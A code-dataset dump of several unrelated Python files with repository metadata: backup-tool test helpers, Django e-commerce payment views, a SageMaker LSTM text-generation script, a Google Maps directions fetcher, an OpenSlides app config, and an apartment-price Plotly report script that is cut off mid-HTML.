import contextlib import io import os import re import subprocess from . import backups_manager_lib from . import backups_main from . import lib from .test_util import AssertEquals from .test_util import AssertLinesEqual from .test_util import CreateDir from .test_util import CreateFile from .test_util import DoBackupsMain def CreateConfig(parent_dir, backups_filename_prefix='backups', filter_merge_path=None): config_path = os.path.join(parent_dir, '%s.config' % backups_filename_prefix) config = backups_manager_lib.BackupsConfig(config_path) config.image_path = os.path.join(parent_dir, '%s.sparsebundle' % backups_filename_prefix) config.mount_path = os.path.join(parent_dir, '%s_mount' % backups_filename_prefix) config.src_path = CreateDir(parent_dir, '%s_src' % backups_filename_prefix) config.checkpoints_dir = CreateDir(parent_dir, '%s_checkpoints' % backups_filename_prefix) config.filter_merge_path = filter_merge_path config.Write() return config def CreateBackupsBundle(config, create_example_content=True): lib.GetDiskImageHelper().CreateImage( config.image_path, size='10G', filesystem='APFS', image_type='SPARSEBUNDLE', volume_name='Backups') with lib.ImageAttacher(config.image_path, config.mount_path, readonly=False, browseable=False) as attacher: backups_dir = CreateDir(attacher.GetMountPoint(), backups_manager_lib.BACKUPS_SUBDIR) backup1_dir = CreateDir(backups_dir, '2020-01-01-120000') CreateDir(backup1_dir, '.metadata') disk_dir = CreateDir(backup1_dir, 'Root') if create_example_content: CreateFile(disk_dir, 'f1') CreateFile(disk_dir, 'fX') CreateFile(disk_dir, 'fT') def CreateLatestManifestCheckpoint(config): backups_manager = backups_manager_lib.BackupsManager.Open( config, readonly=False, browseable=False) try: last_backup = backups_manager.GetLastDone() src_root = last_backup.GetContentRootPath() output_lines = DoBackupsMain(['create-checkpoint', '--src-root', src_root, '--checksum-all', '--manifest-only', '--no-encrypt', '--checkpoint-name', last_backup.GetName(), '--checkpoints-dir', config.checkpoints_dir], expected_output=None) m = re.match('^Created checkpoint at (.+)$', output_lines[-1]) assert m checkpoint_path = m.group(1) AssertLinesEqual(output_lines[:-1], ['>d+++++++ .', '>f+++++++ f1', '>f+++++++ fT', '>f+++++++ fX', 'Transferring 4 paths (0b)']) manifest = lib.ReadManifestFromImageOrPath(checkpoint_path) manifest.SetPath(last_backup.GetManifestPath()) manifest.Write() return checkpoint_path finally: backups_manager.Close() def VerifyBackupManifest(backup, path=None): if path is None: manifest = lib.Manifest.Load(backup.GetManifestPath()) else: manifest = lib.ReadManifestFromImageOrPath(path) output = io.StringIO() verifier = lib.ManifestVerifier(manifest, backup.GetContentRootPath(), output, checksum_path_matcher=lib.PathMatcherAll()) success = verifier.Verify() output_lines = [ line for line in output.getvalue().strip().split('\n') if line ] output.close() AssertLinesEqual(output_lines, []) if not success: raise Exception('Verification failed') @contextlib.contextmanager def SetLogThrottlerLogAlways(log_throttler): old_value = log_throttler.GetLogAlways() log_throttler.SetLogAlways(True) try: yield finally: log_throttler.SetLogAlways(old_value) def DoCreateCheckpoint(src_root, checkpoints_dir, checkpoint_name, expected_output=[], last_checkpoint_path=None, filter_merge_path=None): args = ['create-checkpoint', '--no-encrypt', '--checksum-all', '--src-root', src_root, '--checkpoints-dir', checkpoints_dir, '--checkpoint-name', checkpoint_name] if last_checkpoint_path is not None: args.extend(['--last-checkpoint', last_checkpoint_path]) if filter_merge_path is not None: args.extend(['--filter-merge-path', filter_merge_path]) output = io.StringIO() AssertEquals(backups_main.Main(args, output), True) output_lines = [] checkpoint_path = None for line in output.getvalue().strip().split('\n'): m = re.match('^Created checkpoint at (.+)$', line) if m: checkpoint_path = m.group(1) continue output_lines.append(line) output.close() AssertLinesEqual(output_lines, expected_output) return checkpoint_path def DoCreateBackup(config, backup_name=None, dry_run=False, expected_output=[]): cmd_args = ['create-backup', '--no-encrypt', '--backups-config', config.path] if backup_name is not None: cmd_args.extend(['--backup-name', backup_name]) lines = DoBackupsMain(cmd_args, dry_run=dry_run, expected_output=None) checkpoint_path = None output_lines = [] for line in lines: m = re.match('^Created checkpoint at (.+)$', line) if m: checkpoint_path = m.group(1) continue output_lines.append(line) AssertLinesEqual(output_lines, expected_output) return checkpoint_path def DoApplyToBackups(config, dry_run=False, deduplicate_min_file_size=1024, checksum_all=True, checksum_hardlinks=True, expected_success=True, expected_output=[]): cmd_args = ['apply-to-backups', '--backups-config', config.path, '--deduplicate-min-file-size', str(deduplicate_min_file_size)] if not checksum_all: cmd_args.append('--no-checksum-all') if not checksum_hardlinks: cmd_args.append('--no-checksum-hardlinks') DoBackupsMain(cmd_args, dry_run=dry_run, expected_success=expected_success, expected_output=expected_output) def DoListBackups(config, dry_run=False, expected_backups=[]): cmd_args = ['list-backups', '--backups-config', config.path] DoBackupsMain(cmd_args, dry_run=dry_run, expected_output=expected_backups) def DoVerifyBackups(config, dry_run=False, min_backup=None, max_backup=None, full=True, continue_on_error=False, checksum_all=True, expected_success=True, expected_output=[]): cmd_args = ['verify-backups', '--backups-config', config.path] if min_backup is not None: cmd_args.extend(['--min-backup', min_backup]) if max_backup is not None: cmd_args.extend(['--max-backup', max_backup]) if not full: cmd_args.append('--no-full') if continue_on_error: cmd_args.append('--continue-on-error') if not checksum_all: cmd_args.append('--no-checksum-all') DoBackupsMain(cmd_args, dry_run=dry_run, expected_success=expected_success, expected_output=expected_output) def DoAddMissingManifestsToBackups(config, expected_output=[]): cmd_args = ['add-missing-manifests-to-backups', '--backups-config', config.path] DoBackupsMain(cmd_args, expected_output=expected_output) def DoDeduplicateBackups( config, min_backup=None, max_backup=None, match_older_mtimes=False, dry_run=False, verbose=False, expected_output=[]): cmd_args = ['deduplicate-backups', '--min-file-size', '1024', '--backups-config', config.path] if min_backup is not None: cmd_args.extend(['--min-backup', min_backup]) if max_backup is not None: cmd_args.extend(['--max-backup', max_backup]) if match_older_mtimes: cmd_args.append('--match-older-mtimes') DoBackupsMain(cmd_args, dry_run=dry_run, verbose=verbose, expected_output=expected_output) def DoCloneBackup(config, backup_name, dry_run=False, expected_success=True, expected_output=[]): cmd_args = ['clone-backup', '--backups-config', config.path, '--backup-name', backup_name] DoBackupsMain(cmd_args, dry_run=dry_run, expected_success=expected_success, expected_output=expected_output) def DoDeleteBackups(config, backup_names, dry_run=False, expected_success=True, expected_output=[]): cmd_args = ['delete-backups', '--backups-config', config.path] for backup_name in backup_names: cmd_args.extend(['--backup-name', backup_name]) DoBackupsMain(cmd_args, dry_run=dry_run, expected_success=expected_success, expected_output=expected_output) def DoDeleteBackupsInteractive(config, backup_names=[], min_backup=None, max_backup=None, ignore_matching_renames=False, include_latest_backup=False, dry_run=False, verbose=False, expected_success=True, expected_output=[]): cmd_args = ['delete-backups-interactive', '--backups-config', config.path] for backup_name in backup_names: cmd_args.extend(['--backup-name', backup_name]) if min_backup is not None: cmd_args.extend(['--min-backup', min_backup]) if max_backup is not None: cmd_args.extend(['--max-backup', max_backup]) if ignore_matching_renames: cmd_args.append('--ignore-matching-renames') if include_latest_backup: cmd_args.append('--include-latest-backup') DoBackupsMain(cmd_args, dry_run=dry_run, verbose=verbose, expected_success=expected_success, expected_output=expected_output) def DoDumpUniqueFilesInBackups(config, backup_names=[], min_backup=None, max_backup=None, ignore_matching_renames=False, match_previous_only=False, match_next_only=False, dry_run=False, verbose=False, expected_success=True, expected_output=[]): cmd_args = ['dump-unique-files-in-backups', '--backups-config', config.path] for backup_name in backup_names: cmd_args.extend(['--backup-name', backup_name]) if min_backup is not None: cmd_args.extend(['--min-backup', min_backup]) if max_backup is not None: cmd_args.extend(['--max-backup', max_backup]) if ignore_matching_renames: cmd_args.append('--ignore-matching-renames') if match_previous_only: cmd_args.append('--match-previous-only') if match_next_only: cmd_args.append('--match-next-only') DoBackupsMain(cmd_args, dry_run=dry_run, verbose=verbose, expected_success=expected_success, expected_output=expected_output) def DoExtractFromBackups(config, dry_run=False, min_backup=None, max_backup=None, output_image_path=None, paths=[], expected_success=True, expected_output=[]): cmd_args = ['extract-from-backups', '--backups-config', config.path, '--no-encrypt', '--deduplicate-min-file-size', '1024'] if output_image_path is not None: cmd_args.extend(['--output-image-path', output_image_path]) for path in paths: cmd_args.extend(['--path', path]) if min_backup is not None: cmd_args.extend(['--min-backup', min_backup]) if max_backup is not None: cmd_args.extend(['--max-backup', max_backup]) DoBackupsMain(cmd_args, dry_run=dry_run, expected_success=expected_success, expected_output=expected_output) def DoMergeIntoBackups(config, dry_run=False, min_backup=None, max_backup=None, from_image_path=None, expected_success=True, expected_output=[]): cmd_args = ['merge-into-backups', '--backups-config', config.path, '--deduplicate-min-file-size', '1024'] if from_image_path is not None: cmd_args.extend(['--from-image-path', from_image_path]) if min_backup is not None: cmd_args.extend(['--min-backup', min_backup]) if max_backup is not None: cmd_args.extend(['--max-backup', max_backup]) DoBackupsMain(cmd_args, dry_run=dry_run, expected_success=expected_success, expected_output=expected_output) def DoDeleteInBackups(config, dry_run=False, min_backup=None, max_backup=None, paths=[], expected_success=True, expected_output=[]): cmd_args = ['delete-in-backups', '--backups-config', config.path] if min_backup is not None: cmd_args.extend(['--min-backup', min_backup]) if max_backup is not None: cmd_args.extend(['--max-backup', max_backup]) for path in paths: cmd_args.extend(['--path', path]) DoBackupsMain(cmd_args, dry_run=dry_run, expected_success=expected_success, expected_output=expected_output)

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0.129921

0.050347

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0.512252

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null

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null

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0

759fec04ca6bf4fd01f099c1761a43c8c03c98c7

9,116

py

Python

ecommerce/views.py

umarmughal824/bootcamp-ecommerce

681bcc788a66867b8f240790c0ed33680b73932b

[ "BSD-3-Clause" ]

2

2018-06-20T19:37:03.000Z

2021-01-06T09:51:40.000Z

ecommerce/views.py

mitodl/bootcamp-ecommerce

ba7d6aefe56c6481ae2a5afc84cdd644538b6d50

[ "BSD-3-Clause" ]

1,226

2017-02-23T14:52:28.000Z

2022-03-29T13:19:54.000Z

ecommerce/views.py

umarmughal824/bootcamp-ecommerce

681bcc788a66867b8f240790c0ed33680b73932b

[ "BSD-3-Clause" ]

3

2017-03-20T03:51:27.000Z

2021-03-19T15:54:31.000Z

"""Views for ecommerce""" from decimal import Decimal import logging from django.conf import settings from django.contrib.auth import get_user_model from django.http.response import Http404 from django.shortcuts import get_object_or_404 from django.urls import reverse from ipware import get_client_ip from rest_framework import status as statuses from rest_framework.authentication import SessionAuthentication from rest_framework.generics import CreateAPIView, GenericAPIView, RetrieveAPIView from rest_framework.permissions import IsAuthenticated from rest_framework.renderers import TemplateHTMLRenderer from rest_framework.response import Response from rest_framework.validators import ValidationError from rest_framework.views import APIView from applications.constants import AppStates from applications.models import BootcampApplication from backends.edxorg import EdxOrgOAuth2 from ecommerce.api import ( complete_successful_order, create_unfulfilled_order, generate_cybersource_sa_payload, get_new_order_by_reference_number, handle_rejected_order, serialize_user_bootcamp_run, serialize_user_bootcamp_runs, ) from ecommerce.constants import CYBERSOURCE_DECISION_ACCEPT, CYBERSOURCE_DECISION_CANCEL from ecommerce.exceptions import EcommerceException from ecommerce.models import Line, Order, Receipt from ecommerce.permissions import IsSignedByCyberSource from ecommerce.serializers import ( CheckoutDataSerializer, PaymentSerializer, OrderSerializer, ) from hubspot.task_helpers import sync_hubspot_application_from_order from klasses.models import BootcampRun from klasses.permissions import CanReadIfSelf from main.permissions import UserIsOwnerOrAdminPermission from main.serializers import serialize_maybe_user log = logging.getLogger(__name__) User = get_user_model() class PaymentView(CreateAPIView): """ View for payment API. This creates an Order in our system and provides a dictionary to send to Cybersource. """ authentication_classes = (SessionAuthentication,) permission_classes = (IsAuthenticated,) serializer_class = PaymentSerializer def post(self, request, *args, **kwargs): """ Create an unfulfilled order and return a response for it. """ serializer = self.get_serializer(data=request.data) serializer.is_valid(raise_exception=True) payment_amount = Decimal(serializer.data["payment_amount"]) application_id = serializer.data["application_id"] application = get_object_or_404( BootcampApplication, id=application_id, user=self.request.user ) if application.state != AppStates.AWAITING_PAYMENT.value: log.error( "User attempted to pay for application %d with invalid state %s", application.id, application.state, ) raise ValidationError("Invalid application state") order = create_unfulfilled_order( application=application, payment_amount=payment_amount ) # Sync order data with hubspot sync_hubspot_application_from_order(order) redirect_url = self.request.build_absolute_uri(reverse("applications")) user_ip, _ = get_client_ip(request) return Response( { "payload": generate_cybersource_sa_payload( order, redirect_url, ip_address=user_ip ), "url": settings.CYBERSOURCE_SECURE_ACCEPTANCE_URL, } ) class OrderFulfillmentView(APIView): """ View for order fulfillment API. This API is special in that only CyberSource should talk to it. Instead of authenticating with OAuth or via session this looks at the signature of the message to verify authenticity. """ authentication_classes = () permission_classes = (IsSignedByCyberSource,) def post(self, request, *args, **kwargs): # pylint: disable=unused-argument """ Confirmation from CyberSource which fulfills an existing Order. """ # First, save this information in a receipt receipt = Receipt.objects.create(data=request.data) # Link the order with the receipt if we can parse it reference_number = request.data["req_reference_number"] order = get_new_order_by_reference_number(reference_number) receipt.order = order receipt.save() decision = request.data["decision"] if order.status == Order.FAILED and decision == CYBERSOURCE_DECISION_CANCEL: # This is a duplicate message, ignore since it's already handled return Response(status=statuses.HTTP_200_OK) elif order.status != Order.CREATED: raise EcommerceException( "Order {} is expected to have status 'created'".format(order.id) ) if decision != CYBERSOURCE_DECISION_ACCEPT: handle_rejected_order(order=order, decision=decision) else: # import pdb; pdb.set_trace() complete_successful_order(order) # Sync order data with hubspot sync_hubspot_application_from_order(order) # The response does not matter to CyberSource return Response(status=statuses.HTTP_200_OK) class UserBootcampRunDetail(GenericAPIView): """ Class based view for user bootcamp run view. """ authentication_classes = (SessionAuthentication,) permission_classes = (IsAuthenticated, CanReadIfSelf) lookup_field = "run_key" lookup_url_kwarg = "run_key" queryset = BootcampRun.objects.all() def get( self, request, username, *args, **kwargs ): # pylint: disable=unused-argument """ Returns a serialized bootcamp run and payment for a user """ user = get_object_or_404( User, social_auth__uid=username, social_auth__provider=EdxOrgOAuth2.name ) bootcamp_run = self.get_object() return Response( serialize_user_bootcamp_run(user=user, bootcamp_run=bootcamp_run) ) class UserBootcampRunStatement(RetrieveAPIView): """ View class for a user's bootcamp run payment statement """ authentication_classes = (SessionAuthentication,) permission_classes = (IsAuthenticated,) lookup_field = "run_key" lookup_url_kwarg = "run_key" queryset = BootcampRun.objects.all() renderer_classes = (TemplateHTMLRenderer,) def get(self, request, *args, **kwargs): """ Fetches a user's bootcamp run payment information and renders their statement (or raises a 404 if they have no payments for the specified bootcamp run) """ bootcamp_run = self.get_object() if Line.for_user_bootcamp_run(request.user, bootcamp_run).count() == 0: raise Http404 return Response( { "user": serialize_maybe_user(request.user), "bootcamp_run": serialize_user_bootcamp_run( user=request.user, bootcamp_run=bootcamp_run ), }, template_name="bootcamp/statement.html", ) class UserBootcampRunList(APIView): """ Class based view for user bootcamp run list view. """ authentication_classes = (SessionAuthentication,) permission_classes = (IsAuthenticated, CanReadIfSelf) def get( self, request, username, *args, **kwargs ): # pylint: disable=unused-argument """ Returns serialized bootcamp runs and payments for all runs that a user can pay for. """ user = get_object_or_404( User, social_auth__uid=username, social_auth__provider=EdxOrgOAuth2.name ) return Response(serialize_user_bootcamp_runs(user=user)) class CheckoutDataView(RetrieveAPIView): """ List application ecommerce data for a user, for payable applications """ authentication_classes = (SessionAuthentication,) permission_classes = (IsAuthenticated,) serializer_class = CheckoutDataSerializer def get_queryset(self): """Filter on valid applications for the user""" return ( BootcampApplication.objects.filter( user=self.request.user, state=AppStates.AWAITING_PAYMENT.value ) .select_related("bootcamp_run") .prefetch_related( "bootcamp_run__personal_prices", "bootcamp_run__installment_set", "orders", "orders__line_set", ) .order_by("id") ) def get_object(self): """Get the application given the query parameter""" application_id = self.request.query_params.get("application") return get_object_or_404(self.get_queryset(), id=application_id) class OrderView(RetrieveAPIView): """API view for Orders""" permission_classes = (IsAuthenticated, UserIsOwnerOrAdminPermission) serializer_class = OrderSerializer queryset = Order.objects.all() owner_field = "user"

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null

0

1

0

75a10f7c8bb2269ffd29a74f44cb282618db5d67

3,334

py

Python

sagemaker-python-sdk/pytorch_lstm_word_language_model/source/generate.py

BluePilgrim/amazon-sagemaker-examples

e20c855dd912331a9380980712f2fef7d05d3d2d

[ "Apache-2.0" ]

7

2018-10-25T16:35:54.000Z

2022-02-12T15:24:11.000Z

sagemaker-python-sdk/pytorch_lstm_word_language_model/source/generate.py

vlordier/amazon-sagemaker-examples

6c59b6e435f040bdbe6a7c346fc0ce397f7746d8

[ "Apache-2.0" ]

1

2019-04-10T20:21:18.000Z

sagemaker-python-sdk/pytorch_lstm_word_language_model/source/generate.py

vlordier/amazon-sagemaker-examples

6c59b6e435f040bdbe6a7c346fc0ce397f7746d8

[ "Apache-2.0" ]

2

2020-02-19T03:10:18.000Z

2022-03-16T12:49:31.000Z

import json import logging import os import torch from rnn import RNNModel import data JSON_CONTENT_TYPE = 'application/json' logger = logging.getLogger(__name__) def model_fn(model_dir): logger.info('Loading the model.') model_info = {} with open(os.path.join(model_dir, 'model_info.pth'), 'rb') as f: model_info = torch.load(f) print('model_info: {}'.format(model_info)) device = torch.device("cuda" if torch.cuda.is_available() else "cpu") logger.info('Current device: {}'.format(device)) model = RNNModel(rnn_type=model_info['rnn_type'], ntoken=model_info['ntoken'], ninp=model_info['ninp'], nhid=model_info['nhid'], nlayers=model_info['nlayers'], dropout=model_info['dropout'], tie_weights=model_info['tie_weights']) with open(os.path.join(model_dir, 'model.pth'), 'rb') as f: model.load_state_dict(torch.load(f)) # after load the rnn params are not a continuous chunk of memory # this makes them a continuous chunk, and will speed up forward pass model.rnn.flatten_parameters() model.to(device).eval() logger.info('Loading the data.') corpus = data.Corpus(model_dir) logger.info('Done loading model and corpus. Corpus dictionary size: {}'.format(len(corpus.dictionary))) return {'model': model, 'corpus': corpus} def input_fn(serialized_input_data, content_type=JSON_CONTENT_TYPE): logger.info('Deserializing the input data.') if content_type == JSON_CONTENT_TYPE: input_data = json.loads(serialized_input_data) if input_data['temperature'] < 1e-3: raise Exception('\'temperature\' has to be greater or equal 1e-3') return input_data raise Exception('Requested unsupported ContentType in content_type: ' + content_type) def output_fn(prediction_output, accept=JSON_CONTENT_TYPE): logger.info('Serializing the generated output.') if accept == JSON_CONTENT_TYPE: return json.dumps(prediction_output), accept raise Exception('Requested unsupported ContentType in Accept: ' + accept) def predict_fn(input_data, model): logger.info('Generating text based on input parameters.') corpus = model['corpus'] model = model['model'] device = torch.device("cuda" if torch.cuda.is_available() else "cpu") logger.info('Current device: {}'.format(device)) torch.manual_seed(input_data['seed']) ntokens = len(corpus.dictionary) input = torch.randint(ntokens, (1, 1), dtype=torch.long).to(device) hidden = model.init_hidden(1) logger.info('Generating {} words.'.format(input_data['words'])) result = [] with torch.no_grad(): # no tracking history for i in range(input_data['words']): output, hidden = model(input, hidden) word_weights = output.squeeze().div(input_data['temperature']).exp().cpu() word_idx = torch.multinomial(word_weights, 1)[0] input.fill_(word_idx) word = corpus.dictionary.idx2word[word_idx] word = word if type(word) == str else word.decode() if word == '<eos>': word = '\n' elif i % 12 == 11: word = word + '\n' else: word = word + ' ' result.append(word) return ''.join(result)

39.223529

107

0.654469

433

3,334

4.877598

0.327945

0.051136

0.035511

0.017045

0.20786

0.154356

0.109848

0.080492

0

0.005368

0.217756

3,334

84

108

39.690476

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false

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0

0.205882

0.014706

0

null

0

null

0

1

0

75a2597adcdcae122cb7a9e4d78b3707b95ae319

889

py

Python

get_data.py

fromdatavistodatascience/Boston-Airpot-Traffic-Visualisation

9f30e89e68c25e6fbcf13d84fee561b53ff70d84

[ "MIT" ]

null

get_data.py

fromdatavistodatascience/Boston-Airpot-Traffic-Visualisation

9f30e89e68c25e6fbcf13d84fee561b53ff70d84

[ "MIT" ]

null

get_data.py

fromdatavistodatascience/Boston-Airpot-Traffic-Visualisation

9f30e89e68c25e6fbcf13d84fee561b53ff70d84

[ "MIT" ]

null

import pandas as pd import numpy as np import json import requests #Retrieving my api keys information to access the Google API. def get_keys(path): with open(path) as f: return json.load(f) keys = get_keys("/Users/jjherranzsarrion/.secret/google_blog2_api.json") api_key = keys['api_key'] url = 'https://maps.googleapis.com/maps/api/directions/json?' origin = 'Sheepfold+Dog+Park+Fells+Path+Stoneham+MA' destination = 'Terminal+C+Boston+Logan+International+Airport+Boston+MA+02128' departure_time = '1566819000' #time in seconds from midnight 1st Jan 1970 (Unix start time) until Monday 19th August at 07:30 AM. url_params = f"origin={origin}&destination={destination}&departure_time={departure_time}&key={api_key}" request_url = url + url_params response = requests.get(request_url) with open('response.json', 'w') as f: json.dump(response.json(), f)

31.75

130

0.743532

135

889

4.792593

0.562963

0.027821

0

0.035111

0.134983

889

27

131

32.925926

0.806242

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0

0.447802

0.332418

0

1

0.055556

false

0

0.222222

0

0.333333

0

null

0

null

0

1

0

75a4801e3fd9b2dd8d7fd997f38c4f96f2672de6

1,807

py

Python

openslides_protocol/apps.py

OpenSlides/openslides-protocol

71366a4f251165384dd359a31fdc0fab79a652a1

[ "MIT" ]

null

openslides_protocol/apps.py

OpenSlides/openslides-protocol

71366a4f251165384dd359a31fdc0fab79a652a1

[ "MIT" ]

11

2017-08-02T10:48:24.000Z

2018-10-19T13:53:51.000Z

openslides_protocol/apps.py

OpenSlides/openslides-protocol

71366a4f251165384dd359a31fdc0fab79a652a1

[ "MIT" ]

2

2017-05-10T14:11:34.000Z

2018-01-10T11:44:10.000Z

from django.apps import AppConfig from openslides.utils.collection import Collection from . import ( __description__, __license__, __url__, __verbose_name__, __version__, ) class ProtocolAppConfig(AppConfig): name = 'openslides_protocol' verbose_name = __verbose_name__ description = __description__ version = __version__ license = __license__ url = __url__ angular_site_module = True js_files = [ 'static/js/openslides_protocol/base.js', 'static/js/openslides_protocol/site.js', 'static/js/openslides_protocol/templatehooks.js', 'static/js/openslides_protocol/templates.js' ] def ready(self): # Import all required stuff. from openslides.core.config import config from openslides.core.signals import post_permission_creation from openslides.utils.rest_api import router from .config_variables import get_config_variables from .signals import add_permissions_to_builtin_groups from .views import ObjectProtocolViewSet, ProtocolViewSet # Define config variables config.update_config_variables(get_config_variables()) # Connect signals. post_permission_creation.connect( add_permissions_to_builtin_groups, dispatch_uid='protocol_add_permissions_to_builtin_groups' ) # Register viewsets. router.register(self.get_model('ObjectProtocol').get_collection_string(), ObjectProtocolViewSet) router.register(self.get_model('Protocol').get_collection_string(), ProtocolViewSet) def get_startup_elements(self): yield Collection(self.get_model('ObjectProtocol').get_collection_string()) yield Collection(self.get_model('Protocol').get_collection_string())

34.09434

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1,807

6.42328

0.343915

0.074135

0.059308

0.085667

0.327018

0.138386

0

0.204759

1,807

52

105

34.75

0.844816

0.047593

0

0.155594

0.118881

0

1

0.05

false

0

0.225

0

0.5

0

null

0

null

0

1

0

75a691a31ac0f85d25914cc8c58acb2e67e97fd0

9,700

py

Python

scripts/gen_report.py

twjang/korea_apartment_price

cd1414dfe6fe46e7d47625d2f65abe07f7c2db75

[ "MIT" ]

1

2021-12-14T13:03:38.000Z

scripts/gen_report.py

twjang/korea_apartment_price

cd1414dfe6fe46e7d47625d2f65abe07f7c2db75

[ "MIT" ]

null

scripts/gen_report.py

twjang/korea_apartment_price

cd1414dfe6fe46e7d47625d2f65abe07f7c2db75

[ "MIT" ]

null

#!/usr/bin/env python import json from typing import List, Optional, Tuple import datetime import re import io import base64 import os import sys import argparse from plotly.missing_ipywidgets import FigureWidget from tqdm import tqdm import minify_html ROOT=os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) sys.path.append(ROOT) import plotly import plotly.io import plotly.graph_objects as go from plotly.subplots import make_subplots import korea_apartment_price from korea_apartment_price.db import ApartmentId, EntryNotFound from korea_apartment_price.utils import editdist def date_serial2date(x:int): year = x // 10000 month = (x // 100) % 100 date = (x) % 100 return datetime.datetime(year, month, date) def render_graph(apts: List[ApartmentId], date_from=20190101)->Tuple[str, FigureWidget]: sizes = set(korea_apartment_price.db.query_trades(apt_ids=apts, filters=[korea_apartment_price.db.pick_size], date_from=date_from, include_canceled=True)) if len(sizes) == 0: sizes = set([apt['size'] for apt in apts]) favorite_size = apts[0]['size'] chosen_size = list(sorted([(abs(s-favorite_size), s) for s in sizes]))[0][1] fig = go.Figure() aptname = re.sub(r'[0-9]+[ ]*단지[ ]*$', '', apts[0]["name"]) title=(f'{apts[0]["address"]}', f'{aptname} (전용 {chosen_size}평)') fig.update_layout(height = 500, margin=dict(l=10, r=10, b=10, t=10)) fig.update_yaxes( showline=True, linecolor='black', linewidth=1, mirror=True ) fig.update_xaxes( tickformat='%Y-%m-%d', hoverformat='%Y-%m-%d', showline=True, linecolor='black', linewidth=1, mirror=True ) trades = korea_apartment_price.db.query_trades(apt_ids=apts, size_from=chosen_size-0.9, size_to=chosen_size+0.9, date_from=date_from, include_canceled=True) trades_x = [date_serial2date(t['date_serial']) for t in trades if not t['is_canceled']] trades_y = [t['price'] / 10000 for t in trades if not t['is_canceled']] labels = [f'{t["floor"]}층' for t in trades if not t['is_canceled']] canceled_trades_x = [date_serial2date(t['date_serial']) for t in trades if t['is_canceled']] canceled_trades_y = [t['price'] / 10000 for t in trades if t['is_canceled']] canceled_labels = [f'{t["floor"]}층(취소)' for t in trades if t['is_canceled']] el = go.Scattergl(x=trades_x, y=trades_y, showlegend = False, marker={'color': 'blue', 'size': 10}, mode='markers', hovertext=labels, name='실거래') el_canceled = go.Scattergl(x=canceled_trades_x, y=canceled_trades_y, showlegend = False, marker={'color': 'orange', 'size': 10, 'symbol': 'x'}, mode='markers', hovertext=canceled_labels, name='취소') fig.add_trace(el) fig.add_trace(el_canceled) for apt in apts: try: kb_orderbook = sorted(korea_apartment_price.db.query_kb_orderbook(apt, size_from=chosen_size-1, size_to=chosen_size+1, fetched_from=date_from), key=lambda x: x['fetched_at']) break except EntryNotFound: print(apt) pass fetched_date_cnt = {} fetched_price_date_cnt = {} fetched_price_date_lbls = {} for od in kb_orderbook: date_end = od['fetched_at'] if od['detail']['최소매매가'] is not None: price = int(od['detail']['최소매매가']) / 10000 else: price = od['price'] / 10000 fetched_date_cnt[date_end] = fetched_date_cnt.get(date_end, 0) + 1 fetched_price_date_cnt[(date_end, price)] = fetched_price_date_cnt.get((date_end, price), 0) + 1 if not (date_end, price) in fetched_price_date_lbls: fetched_price_date_lbls[(date_end, price)] = set() curlbl = '' if od['apt_dong'] is not None and len(od['apt_dong']) > 0: curlbl += f'{od["apt_dong"]}동' if od['apt_ho'] is not None and len(od['apt_ho']) > 0: curlbl += f'{od["apt_ho"]}호' elif od['floor'] is not None and len(od['floor']) > 0: curlbl += f'{od["floor"]}' if curlbl == '': curlbl='정보없음' curlbl = curlbl.replace('제', '').replace('T', '') fetched_price_date_lbls[(date_end, price)].add(curlbl) fetched_dates = sorted(fetched_date_cnt.keys()) max_cnt = max([1] + list(fetched_price_date_cnt.values())) for (date_end, price), cnt in sorted(fetched_price_date_cnt.items()): date_start = None for trial_date_start in fetched_dates: if trial_date_start < date_end: date_start = trial_date_start if date_start is None: date_start = date_end - datetime.timedelta(2) opacity = min(1.0, 0.1 + 0.9 * cnt / max_cnt) fig.add_trace(go.Scattergl(x=[date_start, date_end], y=[price, price], line={'width':2, 'color':'red'}, marker=None, opacity=opacity, showlegend = False, name='', hoverinfo='skip', mode='lines')) details = sorted(list(fetched_price_date_lbls[(date_end, price)])) details = '<br>' + '<br>'.join(sorted(details)) marker = go.Scattergl(x=[date_end], y=[price], text=[f'{cnt}개 {details}'], line=None, marker={'color':'red', 'size': 3}, opacity=opacity, showlegend = False, name='', mode='markers') fig.add_trace(marker) return title, fig parser = argparse.ArgumentParser() parser.add_argument('aptlst', help='a csv file that contains gu and the apartment name') parser.add_argument('output', help='output html report path') args = parser.parse_args() apts = [] print('[+] reading apartment list') with open(args.aptlst, 'r') as f: for line in tqdm(f.readlines()): line = line.strip() line = line.split(',', 2) if len(line) not in [2, 3]: print (f'Warning: ignoring line "{line}"') continue if len(line) == 2: addr, name = [s.strip() for s in line] size = 18 else: addr, name, size = [s.strip() for s in line] size = int(size) selected=korea_apartment_price.shortcuts.search(addr, name) best_editdist = None best_apt = None for apt in selected: apt['size'] = size cur_editdist = editdist(name, apt['name']) if best_apt is None or best_editdist > cur_editdist: best_apt = apt best_editdist = cur_editdist if best_apt is not None: apts.append(best_apt) else: print(f'[!] couldn\'t find apt entries for query=({addr}, {name})') uniq_apts = {} for apt in apts: uniq_apts[(apt['address'], apt['name'], apt['size'])] = apt apts = [uniq_apts[k] for k in sorted(uniq_apts.keys())] ######## XXX #apts = apts[-3:] uniq_apts = {} for apt in apts: aptname = re.sub(r'[0-9]+[ ]*단지[ ]*$', '', apt["name"]) key = apt['address'], aptname, apt['size'] if not key in uniq_apts: uniq_apts[key] = [] uniq_apts[key].append(apt) apt_keys = sorted(uniq_apts.keys()) print('[+] generating report') for apt_addr, apt_name, apt_size in apt_keys: print(f'{apt_addr} {apt_name} [전용 {apt_size}평]') data = [] data_by_addr = {} addrlst = [] for aptidx, apt_key in enumerate(tqdm(apt_keys)): apts = uniq_apts[apt_key] (addr, aptname), fig = render_graph(apts) cur_chart = json.loads(plotly.io.to_json(fig)) if 'data' in cur_chart: for e in cur_chart['data']: e['type'] = 'scattergl' data.append({ 'addr': addr, 'aptname': aptname, 'fig': cur_chart, }) if not addr in data_by_addr: data_by_addr[addr] = [] data_by_addr[addr].append(aptidx) addrlst = sorted(list(data_by_addr.keys())) datestr = datetime.datetime.now().strftime('%Y-%m-%d') html = f"""<!DOCTYPE html> <html lang="kr"> <head> <meta charset="utf-8" /> <meta http-equiv="x-ua-compatible" content="ie=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>{datestr} 아파트 보고서</title> <script src="https://code.jquery.com/jquery-3.6.0.js"></script> <script src="https://code.jquery.com/ui/1.13.0/jquery-ui.js"></script> <script type="text/javascript" src="https://cdn.plot.ly/plotly-latest.min.js"></script> <script type="text/javascript" id="MathJax-script" async src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js"></script> <link 